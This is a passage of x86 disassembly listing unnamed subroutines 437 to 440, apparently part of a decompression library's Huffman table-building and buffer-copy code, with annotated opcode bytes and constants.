08069ceb  76 09                 jbe     08069cf6 <Unknown0437+0xbf6>
08069ced  83 ee 08              sub     $0x8,%esi
08069cf0  ff 45 cc              incl    0xffffffcc(%ebp)
08069cf3  ff 4d d0              decl    0xffffffd0(%ebp)
08069cf6  8b 5d 08              mov     0x8(%ebp),%ebx
08069cf9  c7 03 07 00 00 00     movl    $0x7,(%ebx)      ;7 'x7 x0 x0 x0' ""
08069cff  8b 55 c8              mov     0xffffffc8(%ebp),%edx
08069d02  8b 45 08              mov     0x8(%ebp),%eax
08069d05  89 50 30              mov     %edx,0x30(%eax)
08069d08  52                    push    %edx
08069d09  ff 75 10              pushl   0x10(%ebp)
08069d0c  ff 75 0c              pushl   0xc(%ebp)
08069d0f  50                    push    %eax
08069d10  e8 8b 12 00 00        call    0806afa0 <Unknown0449>
08069d15  89 45 10              mov     %eax,0x10(%ebp)
08069d18  8b 45 08              mov     0x8(%ebp),%eax
08069d1b  8b 40 30              mov     0x30(%eax),%eax
08069d1e  89 45 c8              mov     %eax,0xffffffc8(%ebp)
08069d21  8b 55 08              mov     0x8(%ebp),%edx
08069d24  8b 42 2c              mov     0x2c(%edx),%eax
08069d27  83 c4 10              add     $0x10,%esp
08069d2a  3b 45 c8              cmp     0xffffffc8(%ebp),%eax
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08069d2d  0f 85 71 f5 ff ff      jne     080692a4 <Unknown0437+0x1a4>   ;-2703 'x71 xf5 xff xff' "q"
08069d33  8b 4d 08               mov     0x8(%ebp),%ecx
08069d36  c7 01 08 00 00 00      movl    $0x8,(%ecx)     ;8 'x8 x0 x0 x0' ""
08069d3c  8b 5d 08               mov     0x8(%ebp),%ebx
08069d3f  89 7b 20               mov     %edi,0x20(%ebx)
08069d42  89 73 1c               mov     %esi,0x1c(%ebx)
08069d45  8b 55 cc               mov     0xffffffcc(%ebp),%edx
08069d48  8b 45 0c               mov     0xc(%ebp),%eax
08069d4b  89 50 04               mov     %edx,0x4(%eax)
08069d4e  8b 4d 0c               mov     0xc(%ebp),%ecx
08069d51  8b 45 d0               mov     0xffffffd0(%ebp),%eax
08069d54  2b 01                  sub     (%ecx),%eax
08069d56  01 41 08               add     %eax,0x8(%ecx)
08069d59  8b 5d d0               mov     0xffffffd0(%ebp),%ebx
08069d5c  89 19                  mov     %ebx,(%ecx)
08069d5e  8b 45 08               mov     0x8(%ebp),%eax
08069d61  8b 55 c8               mov     0xffffffc8(%ebp),%edx
08069d64  89 50 30               mov     %edx,0x30(%eax)
08069d67  57                     push    %edi
08069d68  6a 01                  push    $0x1
08069d6a  51                     push    %ecx
08069d6b  50                     push    %eax
08069d6c  e8 2f 12 00 00         call    0806afa0 <Unknown0449>
08069d71  eb 69                  jmp     08069ddc <Unknown0437+0xcdc>
08069d73  90                     nop
08069d74  8b 4d 08               mov     0x8(%ebp),%ecx
08069d77  89 71 1c               mov     %esi,0x1c(%ecx)
08069d7a  89 79 20               mov     %edi,0x20(%ecx)
08069d7d  8b 5d 0c               mov     0xc(%ebp),%ebx
08069d80  8b 45 cc               mov     0xffffffcc(%ebp),%eax
08069d83  89 43 04               mov     %eax,0x4(%ebx)
08069d86  8b 45 d0               mov     0xffffffd0(%ebp),%eax
08069d89  2b 03                  sub     (%ebx),%eax
08069d8b  01 43 08               add     %eax,0x8(%ebx)
08069d8e  8b 55 d0               mov     0xffffffd0(%ebp),%edx
08069d91  89 13                  mov     %edx,(%ebx)
08069d93  8b 5d c8               mov     0xffffffc8(%ebp),%ebx
08069d96  89 59 30               mov     %ebx,0x30(%ecx)
08069d99  56                     push    %esi
08069d9a  6a fd                  push    $0xfffffffd
08069d9c  ff 75 0c               pushl   0xc(%ebp)
08069d9f  51                     push    %ecx
08069da0  e8 fb 11 00 00         call    0806afa0 <Unknown0449>
08069da5  eb 35                  jmp     08069ddc <Unknown0437+0xcdc>
08069da7  90                     nop
08069da8  8b 45 08               mov     0x8(%ebp),%eax
08069dab  89 78 20               mov     %edi,0x20(%eax)
08069dae  89 70 1c               mov     %esi,0x1c(%eax)
08069db1  8b 55 0c               mov     0xc(%ebp),%edx
08069db4  8b 4d cc               mov     0xffffffcc(%ebp),%ecx
08069db7  89 4a 04               mov     %ecx,0x4(%edx)
08069dba  8b 45 d0               mov     0xffffffd0(%ebp),%eax
08069dbd  2b 02                  sub     (%edx),%eax
08069dbf  01 42 08               add     %eax,0x8(%edx)
08069dc2  8b 5d d0               mov     0xffffffd0(%ebp),%ebx
08069dc5  89 1a                  mov     %ebx,(%edx)
08069dc7  8b 45 08               mov     0x8(%ebp),%eax
08069dca  8b 55 c8               mov     0xffffffc8(%ebp),%edx
08069dcd  89 50 30               mov     %edx,0x30(%eax)
08069dd0  53                     push    %ebx
08069dd1  6a fe                  push    $0xfffffffe
08069dd3  ff 75 0c               pushl   0xc(%ebp)
08069dd6  50                     push    %eax
08069dd7  e8 c4 11 00 00         call    0806afa0 <Unknown0449>
08069ddc  8d 65 f4               lea     0xfffffff4(%ebp),%esp
08069ddf  5b                     pop     %ebx
08069de0  5e                     pop     %esi
08069de1  5f                     pop     %edi
08069de2  5d                     pop     %ebp
08069de3  c3                     ret


  ;
  ; >--------------------<  Subroutine # 438 >--------------------<
  ;
08069de4 <Unknown0438>:
08069de4  55                     push    %ebp
08069de5  89 e5                  mov     %esp,%ebp
08069de7  56                     push    %esi
08069de8  53                     push    %ebx
08069de9  51                     push    %ecx
08069dea  8b 5d 0c               mov     0xc(%ebp),%ebx
08069ded  ff 75 10               pushl   0x10(%ebp)
08069df0  8b 75 08               mov     0x8(%ebp),%esi
```

```
08069df3  53                     push    %ebx
08069df4  56                     push    %esi
08069df5  e8 f6 f1 ff ff         call    08068ff0 <Unknown0435>
08069dfa  58                     pop     %eax
08069dfb  5a                     pop     %edx
08069dfc  ff 76 24               pushl   0x24(%esi)
08069dff  ff 73 28               pushl   0x28(%ebx)
08069e02  ff 53 24               call    *0x24(%ebx)
08069e05  5a                     pop     %edx
08069e06  59                     pop     %ecx
08069e07  56                     push    %esi
08069e08  ff 73 28               pushl   0x28(%ebx)
08069e0b  ff 53 24               call    *0x24(%ebx)
08069e0e  8d 65 f8               lea     0xfffffff8(%ebp),%esp
08069e11  5b                     pop     %ebx
08069e12  31 c0                  xor     %eax,%eax
08069e14  5e                     pop     %esi
08069e15  5d                     pop     %ebp
08069e16  c3                     ret
08069e17  90                     nop


  ;
  ; >--------------------<  Subroutine # 439 >--------------------<
  ;
08069e18 <Unknown0439>:
08069e18  55                     push    %ebp
08069e19  89 e5                  mov     %esp,%ebp
08069e1b  56                     push    %esi
08069e1c  53                     push    %ebx
08069e1d  50                     push    %eax
08069e1e  8b 5d 10               mov     0x10(%ebp),%ebx
08069e21  53                     push    %ebx
08069e22  8b 75 08               mov     0x8(%ebp),%esi
08069e25  ff 75 0c               pushl   0xc(%ebp)
08069e28  ff 76 24               pushl   0x24(%esi)
08069e2b  e8 0c 04 fe ff         call    0804a23c <memcpy>
08069e30  03 5e 24               add     0x24(%esi),%ebx
08069e33  89 5e 30               mov     %ebx,0x30(%esi)
08069e36  89 5e 2c               mov     %ebx,0x2c(%esi)
08069e39  8d 65 f8               lea     0xfffffff8(%ebp),%esp
08069e3c  5b                     pop     %ebx
08069e3d  5e                     pop     %esi
08069e3e  5d                     pop     %ebp
08069e3f  c3                     ret


  ;
  ; >--------------------<  Subroutine # 440 >--------------------<
  ;
08069e40 <Unknown0440>:
08069e40  55                     push    %ebp
08069e41  89 e5                  mov     %esp,%ebp
08069e43  57                     push    %edi
08069e44  56                     push    %esi
08069e45  53                     push    %ebx
08069e46  81 ec bc 05 00 00      sub     $0x5bc,%esp   ;1468 'xbc x5 x0 x0' ""
08069e4c  8b 55 0c               mov     0xc(%ebp),%edx
08069e4f  8b 45 08               mov     0x8(%ebp),%eax
08069e52  89 95 98 fa ff ff      mov     %edx,0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
08069e58  8b 4d 20               mov     0x20(%ebp),%ecx
08069e5b  c7 45 a8 00 00 00 00   movl    $0x0,0xffffffa8(%ebp)   ;0 'x0 x0 x0 x0' ""
08069e62  c7 45 ac 00 00 00 00   movl    $0x0,0xffffffac(%ebp)   ;0 'x0 x0 x0 x0' ""
08069e69  c7 45 b0 00 00 00 00   movl    $0x0,0xffffffb0(%ebp)   ;0 'x0 x0 x0 x0' ""
08069e70  c7 45 b4 00 00 00 00   movl    $0x0,0xffffffb4(%ebp)   ;0 'x0 x0 x0 x0' ""
08069e77  c7 45 b8 00 00 00 00   movl    $0x0,0xffffffb8(%ebp)   ;0 'x0 x0 x0 x0' ""
08069e7e  c7 45 bc 00 00 00 00   movl    $0x0,0xffffffbc(%ebp)   ;0 'x0 x0 x0 x0' ""
08069e85  c7 45 c0 00 00 00 00   movl    $0x0,0xffffffc0(%ebp)   ;0 'x0 x0 x0 x0' ""
08069e8c  c7 45 c4 00 00 00 00   movl    $0x0,0xffffffc4(%ebp)   ;0 'x0 x0 x0 x0' ""
08069e93  c7 45 c8 00 00 00 00   movl    $0x0,0xffffffc8(%ebp)   ;0 'x0 x0 x0 x0' ""
08069e9a  c7 45 cc 00 00 00 00   movl    $0x0,0xffffffcc(%ebp)   ;0 'x0 x0 x0 x0' ""
08069ea1  c7 45 d0 00 00 00 00   movl    $0x0,0xffffffd0(%ebp)   ;0 'x0 x0 x0 x0' ""
08069ea8  c7 45 d4 00 00 00 00   movl    $0x0,0xffffffd4(%ebp)   ;0 'x0 x0 x0 x0' ""
08069eaf  c7 45 d8 00 00 00 00   movl    $0x0,0xffffffd8(%ebp)   ;0 'x0 x0 x0 x0' ""
08069eb6  c7 45 dc 00 00 00 00   movl    $0x0,0xffffffdc(%ebp)   ;0 'x0 x0 x0 x0' ""
08069ebd  c7 45 e0 00 00 00 00   movl    $0x0,0xffffffe0(%ebp)   ;0 'x0 x0 x0 x0' ""
08069ec4  c7 45 e4 00 00 00 00   movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
08069ecb  89 85 8c fa ff ff      mov     %eax,0xfffffa8c(%ebp)   ;-1396 'x8c xfa xff xff' ""
08069ed1  8d 55 a8               lea     0xffffffa8(%ebp),%edx
08069ed4  8b 9d 8c fa ff ff      mov     0xfffffa8c(%ebp),%ebx   ;-1396 'x8c xfa xff xff' ""
08069eda  8b 03                  mov     (%ebx),%eax
08069edc  ff 04 82               incl    (%edx,%eax,4)
08069edf  83 c3 04               add     $0x4,%ebx
08069ee2  ff 8d 98 fa ff ff      decl    0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
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08069ee8  89 9d 8c fa ff ff     mov    %ebx,0xfffffa8c(%ebp)   ;-1396 'x8c xfa xff xff' ""
08069eee  75 e4                 jne    08069ed4 <Unknown0440+0x94>
08069ef0  8b 45 0c              mov    0xc(%ebp),%eax
08069ef3  39 45 a8              cmp    %eax,0xffffffa8(%ebp)
08069ef6  75 18                 jne    08069f10 <Unknown0440+0xd0>
08069ef8  8b 55 1c              mov    0x1c(%ebp),%edx
08069efb  c7 02 00 00 00 00     movl   $0x0,(%edx)   ;0 'x0 x0 x0 x0' ""
08069f01  c7 01 00 00 00 00     movl   $0x0,(%ecx)   ;0 'x0 x0 x0 x0' ""
08069f07  31 c0                 xor    %eax,%eax
08069f09  e9 68 05 00 00        jmp    0806a476 <Unknown0440+0x636>   ;1384 'x68 x5 x0 x0' "h"
08069f0e  89 f6                 mov    %esi,%esi
08069f10  8b 01                 mov    (%ecx),%eax
08069f12  89 85 90 fa ff ff     mov    %eax,0xfffffa90(%ebp)   ;-1392 'x90 xfa xff xff' ""
08069f18  8b 45 ac              mov    0xffffffac(%ebp),%eax
08069f1b  85 c0                 test   %eax,%eax
08069f1d  bb 01 00 00 00        mov    $0x1,%ebx   ;1 'x1 x0 x0 x0' ""
08069f22  75 11                 jne    08069f35 <Unknown0440+0xf5>
08069f24  8d 45 a8              lea    0xffffffa8(%ebp),%eax
08069f27  90                    nop
08069f28  43                    inc    %ebx
08069f29  83 fb 0f              cmp    $0xf,%ebx
08069f2c  77 07                 ja     08069f35 <Unknown0440+0xf5>
08069f2e  8b 14 98              mov    (%eax,%ebx,4),%edx
08069f31  85 d2                 test   %edx,%edx
08069f33  74 f3                 je     08069f28 <Unknown0440+0xe8>
08069f35  39 9d 90 fa ff ff     cmp    %ebx,0xfffffa90(%ebp)   ;-1392 'x90 xfa xff xff' ""
08069f3b  89 9d 94 fa ff ff     mov    %ebx,0xfffffa94(%ebp)   ;-1388 'x94 xfa xff xff' ""
08069f41  73 06                 jae    08069f49 <Unknown0440+0x109>
08069f43  89 9d 90 fa ff ff     mov    %ebx,0xfffffa90(%ebp)   ;-1392 'x90 xfa xff xff' ""
08069f49  8b 45 e4              mov    0xffffffe4(%ebp),%eax
08069f4c  85 c0                 test   %eax,%eax
08069f4e  c7 85 98 fa ff ff 0f 00 00 00  movl   $0xf,0xfffffa98(%ebp)   ;15 'xf x0 x0 x0' ""
08069f58  75 1b                 jne    08069f75 <Unknown0440+0x135>
08069f5a  8d 45 a8              lea    0xffffffa8(%ebp),%eax
08069f5d  8d 76 00              lea    0x0(%esi),%esi
08069f60  ff 8d 98 fa ff ff     decl   0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
08069f66  74 0d                 je     08069f75 <Unknown0440+0x135>
08069f68  8b 95 98 fa ff ff     mov    0xfffffa98(%ebp),%edx   ;-1384 'x98 xfa xff xff' ""
08069f6e  8b 14 90              mov    (%eax,%edx,4),%edx
08069f71  85 d2                 test   %edx,%edx
08069f73  74 eb                 je     08069f60 <Unknown0440+0x120>
08069f75  8b 85 98 fa ff ff     mov    0xfffffa98(%ebp),%eax   ;-1384 'x98 xfa xff xff' ""
08069f7b  39 85 90 fa ff ff     cmp    %eax,0xfffffa90(%ebp)   ;-1392 'x90 xfa xff xff' ""
08069f81  89 85 a0 fa ff ff     mov    %eax,0xfffffaa0(%ebp)   ;-1376 'xa0 xfa xff xff' ""
08069f87  76 06                 jbe    08069f8f <Unknown0440+0x14f>
08069f89  89 85 90 fa ff ff     mov    %eax,0xfffffa90(%ebp)   ;-1392 'x90 xfa xff xff' ""
08069f8f  8b 95 90 fa ff ff     mov    0xfffffa90(%ebp),%edx   ;-1392 'x90 xfa xff xff' ""
08069f95  89 11                 mov    %edx,(%ecx)
08069f97  c7 85 80 fa ff ff 01 00 00 00  movl   $0x1,0xfffffa80(%ebp)   ;1 'x1 x0 x0 x0' ""
08069fa1  88 d9                 mov    %bl,%cl
08069fa3  d3 a5 80 fa ff ff     shll   %cl,0xfffffa80(%ebp)   ;-1408 'x80 xfa xff xff' ""
08069fa9  3b 9d a0 fa ff ff     cmp    0xfffffaa0(%ebp),%ebx   ;-1376 'xa0 xfa xff xff' ""
08069faf  73 1d                 jae    08069fce <Unknown0440+0x18e>
08069fb1  8d 45 a8              lea    0xffffffa8(%ebp),%eax
08069fb4  8b 14 98              mov    (%eax,%ebx,4),%edx
08069fb7  29 95 80 fa ff ff     sub    %edx,0xfffffa80(%ebp)   ;-1408 'x80 xfa xff xff' ""
08069fbd  78 26                 js     08069fe5 <Unknown0440+0x1a5>
08069fbf  43                    inc    %ebx
08069fc0  d1 a5 80 fa ff ff     shll   0xfffffa80(%ebp)   ;-1408 'x80 xfa xff xff' ""
08069fc6  3b 9d 98 fa ff ff     cmp    0xfffffa98(%ebp),%ebx   ;-1384 'x98 xfa xff xff' ""
08069fcc  72 e6                 jb     08069fb4 <Unknown0440+0x174>
08069fce  8b 8d 98 fa ff ff     mov    0xfffffa98(%ebp),%ecx   ;-1384 'x98 xfa xff xff' ""
08069fd4  c1 e1 02              shl    $0x2,%ecx
08069fd7  8d 55 a8              lea    0xffffffa8(%ebp),%edx
08069fda  8b 04 11              mov    (%ecx,%edx,1),%eax
08069fdd  29 85 80 fa ff ff     sub    %eax,0xfffffa80(%ebp)   ;-1408 'x80 xfa xff xff' ""
08069fe3  79 0b                 jns    08069ff0 <Unknown0440+0x1b0>
08069fe5  b8 fd ff ff ff        mov    $0xfffffffd,%eax   ;-3 'xfd xff xff xff' ""
08069fea  e9 87 04 00 00        jmp    0806a476 <Unknown0440+0x636>   ;1159 'x87 x4 x0 x0' ""
08069fef  90                    nop
08069ff0  03 85 80 fa ff ff     add    0xfffffa80(%ebp),%eax   ;-1408 'x80 xfa xff xff' ""
08069ff6  89 04 11              mov    %eax,(%ecx,%edx,1)
08069ff9  31 db                 xor    %ebx,%ebx
08069ffb  8d 4d ac              lea    0xffffffac(%ebp),%ecx
08069ffe  ff 8d 98 fa ff ff     decl   0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
0806a004  89 8d 8c fa ff ff     mov    %ecx,0xfffffa8c(%ebp)   ;-1396 'x8c xfa xff xff' ""
0806a00a  c7 85 ac fa ff ff 00 00 00 00  movl   $0x0,0xfffffaac(%ebp)   ;0 'x0 x0 x0 x0' ""
0806a014  8d 8d b0 fa ff ff     lea    0xfffffab0(%ebp),%ecx   ;-1360 'xb0 xfa xff xff' ""
0806a01a  74 1e                 je     0806a03a <Unknown0440+0x1fa>
0806a01c  8b 85 8c fa ff ff     mov    0xfffffa8c(%ebp),%eax   ;-1396 'x8c xfa xff xff' ""
0806a022  03 18                 add    (%eax),%ebx
0806a024  89 19                 mov    %ebx,(%ecx)
0806a026  83 c0 04              add    $0x4,%eax
0806a029  83 c1 04              add    $0x4,%ecx
```

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0806a02c  ff 8d 98 fa ff ff      decl    0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
0806a032  89 85 8c fa ff ff      mov     %eax,0xfffffa8c(%ebp)   ;-1396 'x8c xfa xff xff' ""
0806a038  75 e2                  jne     0806a01c <Unknown0440+0x1dc>
0806a03a  8b 55 08               mov     0x8(%ebp),%edx
0806a03d  8d 9d e8 fa ff ff      lea     0xfffffae8(%ebp),%ebx   ;-1304 'xe8 xfa xff xff' ""
0806a043  89 95 8c fa ff ff      mov     %edx,0xfffffa8c(%ebp)   ;-1396 'x8c xfa xff xff' ""
0806a049  c7 85 98 fa ff ff 00 00 00 00   movl    $0x0,0xfffffa98(%ebp)   ;0 'x0 x0 x0 x0' ""
0806a053  8d 8d a8 fa ff ff      lea     0xfffffaa8(%ebp),%ecx   ;-1368 'xa8 xfa xff xff' ""
0806a059  89 9d 78 fa ff ff      mov     %ebx,0xfffffa78(%ebp)   ;-1416 'x78 xfa xff xff' "x"
0806a05f  90                     nop
0806a060  8b 85 8c fa ff ff      mov     0xfffffa8c(%ebp),%eax   ;-1396 'x8c xfa xff xff' ""
0806a066  8b 18                  mov     (%eax),%ebx
0806a068  83 c0 04               add     $0x4,%eax
0806a06b  85 db                  test    %ebx,%ebx
0806a06d  89 85 8c fa ff ff      mov     %eax,0xfffffa8c(%ebp)   ;-1396 'x8c xfa xff xff' ""
0806a073  74 24                  je      0806a099 <Unknown0440+0x259>
0806a075  c1 e3 02               shl     $0x2,%ebx
0806a078  89 9d 54 fa ff ff      mov     %ebx,0xfffffa54(%ebp)   ;-1452 'x54 xfa xff xff' "T"
0806a07e  8b 04 0b               mov     (%ebx,%ecx,1),%eax
0806a081  8b 95 98 fa ff ff      mov     0xfffffa98(%ebp),%edx   ;-1384 'x98 xfa xff xff' ""
0806a087  8b 9d 78 fa ff ff      mov     0xfffffa78(%ebp),%ebx   ;-1416 'x78 xfa xff xff' "x"
0806a08d  89 14 83               mov     %edx,(%ebx,%eax,4)
0806a090  8b 85 54 fa ff ff      mov     0xfffffa54(%ebp),%eax   ;-1452 'x54 xfa xff xff' "T"
0806a096  ff 04 08               incl    (%eax,%ecx,1)
0806a099  ff 85 98 fa ff ff      incl    0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
0806a09f  8b 55 0c               mov     0xc(%ebp),%edx
0806a0a2  39 95 98 fa ff ff      cmp     %edx,0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
0806a0a8  72 b6                  jb      0806a060 <Unknown0440+0x220>
0806a0aa  8b 95 90 fa ff ff      mov     0xfffffa90(%ebp),%ebx   ;-1392 'x90 xfa xff xff' ""
0806a0b0  89 9d 84 fa ff ff      mov     %ebx,0xfffffa84(%ebp)   ;-1404 'x84 xfa xff xff' ""
0806a0b6  8b 85 a0 fa ff ff      mov     0xfffffaa0(%ebp),%eax   ;-1376 'xa0 xfa xff xff' ""
0806a0bc  8d 8d e8 fa ff ff      lea     0xfffffae8(%ebp),%ecx   ;-1304 'xe8 xfa xff xff' ""
0806a0c2  f7 9d 84 fa ff ff      negl    0xfffffa84(%ebp)   ;-1404 'x84 xfa xff xff' ""
0806a0c8  39 85 94 fa ff ff      cmp     %eax,0xfffffa94(%ebp)   ;-1388 'x94 xfa xff xff' ""
0806a0ce  c7 85 98 fa ff ff 00 00 00 00   movl    $0x0,0xfffffa98(%ebp)   ;0 'x0 x0 x0 x0' ""
0806a0d8  c7 85 a8 fa ff ff 00 00 00 00   movl    $0x0,0xfffffaa8(%ebp)   ;0 'x0 x0 x0 x0' ""
0806a0e2  89 8d 8c fa ff ff      mov     %ecx,0xfffffa8c(%ebp)   ;-1396 'x8c xfa xff xff' ""
0806a0e8  c7 85 9c fa ff ff ff ff ff ff   movl    $0xffffffff,0xfffffa9c(%ebp)   ;-1 'xff xff xff xff' ""
0806a0f2  c7 85 68 ff ff ff 00 00 00 00   movl    $0x0,0xffffff68(%ebp)   ;0 'x0 x0 x0 x0' ""
0806a0fc  c7 85 88 fa ff ff 00 00 00 00   movl    $0x0,0xfffffa88(%ebp)   ;0 'x0 x0 x0 x0' ""
0806a106  c7 85 7c fa ff ff 00 00 00 00   movl    $0x0,0xfffffa7c(%ebp)   ;0 'x0 x0 x0 x0' ""
0806a110  0f 8f 42 03 00 00      jg      0806a458 <Unknown0440+0x618>   ;834 'x42 x3 x0 x0' "B"
0806a116  89 f6                  mov     %esi,%esi
0806a118  8d 45 a8               lea     0xffffffa8(%ebp),%eax
0806a11b  8b 95 94 fa ff ff      mov     0xfffffa94(%ebp),%edx   ;-1388 'x94 xfa xff xff' ""
0806a121  8b 04 90               mov     (%eax,%edx,4),%eax
0806a124  48                     dec     %eax
0806a125  89 85 a4 fa ff ff      mov     %eax,0xfffffaa4(%ebp)   ;-1372 'xa4 xfa xff xff' ""
0806a12b  40                     inc     %eax
0806a12c  0f 84 0e 03 00 00      je      0806a440 <Unknown0440+0x600>   ;782 'xe x3 x0 x0' ""
0806a132  8b 8d 9c fa ff ff      mov     0xfffffa9c(%ebp),%ecx   ;-1380 'x9c xfa xff xff' ""
0806a138  c1 e1 02               shl     $0x2,%ecx
0806a13b  89 8d 74 fa ff ff      mov     %ecx,0xfffffa74(%ebp)   ;-1420 'x74 xfa xff xff' "t"
0806a141  e9 8c 01 00 00         jmp     0806a2d2 <Unknown0440+0x492>   ;396 'x8c x1 x0 x0' ""
0806a146  89 f6                  mov     %esi,%esi
0806a148  8b 9d a0 fa ff ff      mov     0xfffffaa0(%ebp),%ebx   ;-1376 'xa0 xfa xff xff' ""
0806a14e  89 9d 7c fa ff ff      mov     %ebx,0xfffffa7c(%ebp)   ;-1412 'x7c xfa xff xff' "|"
0806a154  29 8d 7c fa ff ff      sub     %ecx,0xfffffa7c(%ebp)   ;-1412 'x7c xfa xff xff' "|"
0806a15a  8b 85 90 fa ff ff      mov     0xfffffa90(%ebp),%eax   ;-1392 'x90 xfa xff xff' ""
0806a160  83 85 74 fa ff ff 04   addl    $0x4,0xfffffa74(%ebp)   ;-1420 'x74 xfa xff xff' "t"
0806a167  ff 85 9c fa ff ff      incl    0xfffffa9c(%ebp)   ;-1380 'x9c xfa xff xff' ""
0806a16d  39 85 7c fa ff ff      cmp     %eax,0xfffffa7c(%ebp)   ;-1412 'x7c xfa xff xff' "|"
0806a173  89 8d 84 fa ff ff      mov     %ecx,0xfffffa84(%ebp)   ;-1404 'x84 xfa xff xff' ""
0806a179  76 06                  jbe     0806a181 <Unknown0440+0x341>
0806a17b  89 85 7c fa ff ff      mov     %eax,0xfffffa7c(%ebp)   ;-1412 'x7c xfa xff xff' "|"
0806a181  8b 9d 94 fa ff ff      mov     0xfffffa94(%ebp),%ebx   ;-1388 'x94 xfa xff xff' ""
0806a187  2b 9d 84 fa ff ff      sub     0xfffffa84(%ebp),%ebx   ;-1404 'x84 xfa xff xff' ""
0806a18d  ba 01 00 00 00         mov     $0x1,%edx   ;1 'x1 x0 x0 x0' ""
0806a192  88 d9                  mov     %bl,%cl
0806a194  8b 85 a4 fa ff ff      mov     0xfffffaa4(%ebp),%eax   ;-1372 'xa4 xfa xff xff' ""
0806a19a  d3 e2                  shl     %cl,%edx
0806a19c  40                     inc     %eax
0806a19d  39 c2                  cmp     %eax,%edx
0806a19f  76 39                  jbe     0806a1da <Unknown0440+0x39a>
0806a1a1  89 d0                  mov     %edx,%eax
0806a1a3  2b 85 a4 fa ff ff      sub     0xfffffaa4(%ebp),%eax   ;-1372 'xa4 xfa xff xff' ""
0806a1a9  8d 50 ff               lea     0xffffffff(%eax),%edx
0806a1ac  3b 9d 7c fa ff ff      cmp     0xfffffa7c(%ebp),%ebx   ;-1412 'x7c xfa xff xff' "|"
0806a1b2  8b 85 94 fa ff ff      mov     0xfffffa94(%ebp),%eax   ;-1388 'x94 xfa xff xff' ""
0806a1b8  8d 4c 85 a8            lea     0xffffffa8(%ebp,%eax,4),%ecx
0806a1bc  73 1c                  jae     0806a1da <Unknown0440+0x39a>
0806a1be  43                     inc     %ebx
0806a1bf  eb 06                  jmp     0806a1c7 <Unknown0440+0x387>
0806a1c1  8d 76 00               lea     0x0(%esi),%esi
```

```
0806a1c4  43                          inc     %ebx
0806a1c5  29 c2                       sub     %eax,%edx
0806a1c7  3b 9d 7c fa ff ff           cmp     0xfffffa7c(%ebp),%ebx   ;-1412 'x7c xfa xff xff' "|"
0806a1cd  73 0b                       jae     0806a1da <Unknown0440+0x39a>
0806a1cf  83 c1 04                    add     $0x4,%ecx
0806a1d2  d1 e2                       shl     %edx
0806a1d4  8b 01                       mov     (%ecx),%eax
0806a1d6  39 c2                       cmp     %eax,%edx
0806a1d8  77 ea                       ja      0806a1c4 <Unknown0440+0x384>
0806a1da  c7 85 7c fa ff ff 01 00 00 00  movl  $0x1,0xfffffa7c(%ebp)  ;1 'x1 x0 x0 x0' ""
0806a1e4  88 d9                       mov     %bl,%cl
0806a1e6  d3 a5 7c fa ff ff           shll    %cl,0xfffffa7c(%ebp)   ;-1412 'x7c xfa xff xff' "|"
0806a1ec  50                          push    %eax
0806a1ed  8b 85 7c fa ff ff           mov     0xfffffa7c(%ebp),%eax  ;-1412 'x7c xfa xff xff' "|"
0806a1f3  6a 08                       push    $0x8
0806a1f5  40                          inc     %eax
0806a1f6  50                          push    %eax
0806a1f7  8b 45 24                    mov     0x24(%ebp),%eax
0806a1fa  ff 70 28                    pushl   0x28(%eax)
0806a1fd  89 c2                       mov     %eax,%edx
0806a1ff  ff 52 20                    call    *0x20(%edx)
0806a202  83 c4 10                    add     $0x10,%esp
0806a205  85 c0                       test    %eax,%eax
0806a207  89 85 88 fa ff ff           mov     %eax,0xfffffa88(%ebp)  ;-1400 'x88 xfa xff xff' ""
0806a20d  75 29                       jne     0806a238 <Unknown0440+0x3f8>
0806a20f  8b 8d 9c fa ff ff           mov     0xfffffa9c(%ebp),%ecx  ;-1380 'x9c xfa xff xff' ""
0806a215  85 c9                       test    %ecx,%ecx
0806a217  74 14                       je      0806a22d <Unknown0440+0x3ed>
0806a219  83 ec 08                    sub     $0x8,%esp
0806a21c  ff 75 24                    pushl   0x24(%ebp)
0806a21f  ff b5 68 ff ff ff           pushl   0xffffff68(%ebp)   ;-152 'x68 xff xff xff' "h"
0806a225  e8 2a 05 00 00              call    0806a754 <Unknown0445>
0806a22a  83 c4 10                    add     $0x10,%esp
0806a22d  b8 fc ff ff ff              mov     $0xfffffffc,%eax   ;-4 'xfc xff xff xff' ""
0806a232  e9 3f 02 00 00              jmp     0806a476 <Unknown0440+0x636> ;575 'x3f x2 x0 x0' "?"
0806a237  90                          nop
0806a238  8b 85 88 fa ff ff           mov     0xfffffa88(%ebp),%eax  ;-1400 'x88 xfa xff xff' ""
0806a23e  8b 4d 1c                    mov     0x1c(%ebp),%ecx
0806a241  83 c0 08                    add     $0x8,%eax
0806a244  89 01                       mov     %eax,(%ecx)
0806a246  8b 95 88 fa ff ff           mov     0xfffffa88(%ebp),%edx  ;-1400 'x88 xfa xff xff' ""
0806a24c  8b 8d 88 fa ff ff           mov     0xfffffa88(%ebp),%ecx  ;-1400 'x88 xfa xff xff' ""
0806a252  83 c2 04                    add     $0x4,%edx
0806a255  89 55 1c                    mov     %edx,0x1c(%ebp)
0806a258  c7 41 04 00 00 00 00        movl    $0x0,0x4(%ecx)   ;0 'x0 x0 x0 x0' ""
0806a25f  8d 95 68 ff ff ff           lea     0xffffff68(%ebp),%edx  ;-152 'x68 xff xff xff' "h"
0806a265  8b 8d 74 fa ff ff           mov     0xfffffa74(%ebp),%ecx  ;-1420 'x74 xfa xff xff' "t"
0806a26b  89 95 64 fa ff ff           mov     %edx,0xfffffa64(%ebp)  ;-1436 'x64 xfa xff xff' "d"
0806a271  89 85 88 fa ff ff           mov     %eax,0xfffffa88(%ebp)  ;-1400 'x88 xfa xff xff' ""
0806a277  89 04 11                    mov     %eax,(%ecx,%edx,1)
0806a27a  8b 95 9c fa ff ff           mov     0xfffffa9c(%ebp),%edx  ;-1380 'x9c xfa xff xff' ""
0806a280  85 d2                       test    %edx,%edx
0806a282  74 4e                       je      0806a2d2 <Unknown0440+0x492>
0806a284  8b 85 98 fa ff ff           mov     0xfffffa98(%ebp),%eax  ;-1384 'x98 xfa xff xff' ""
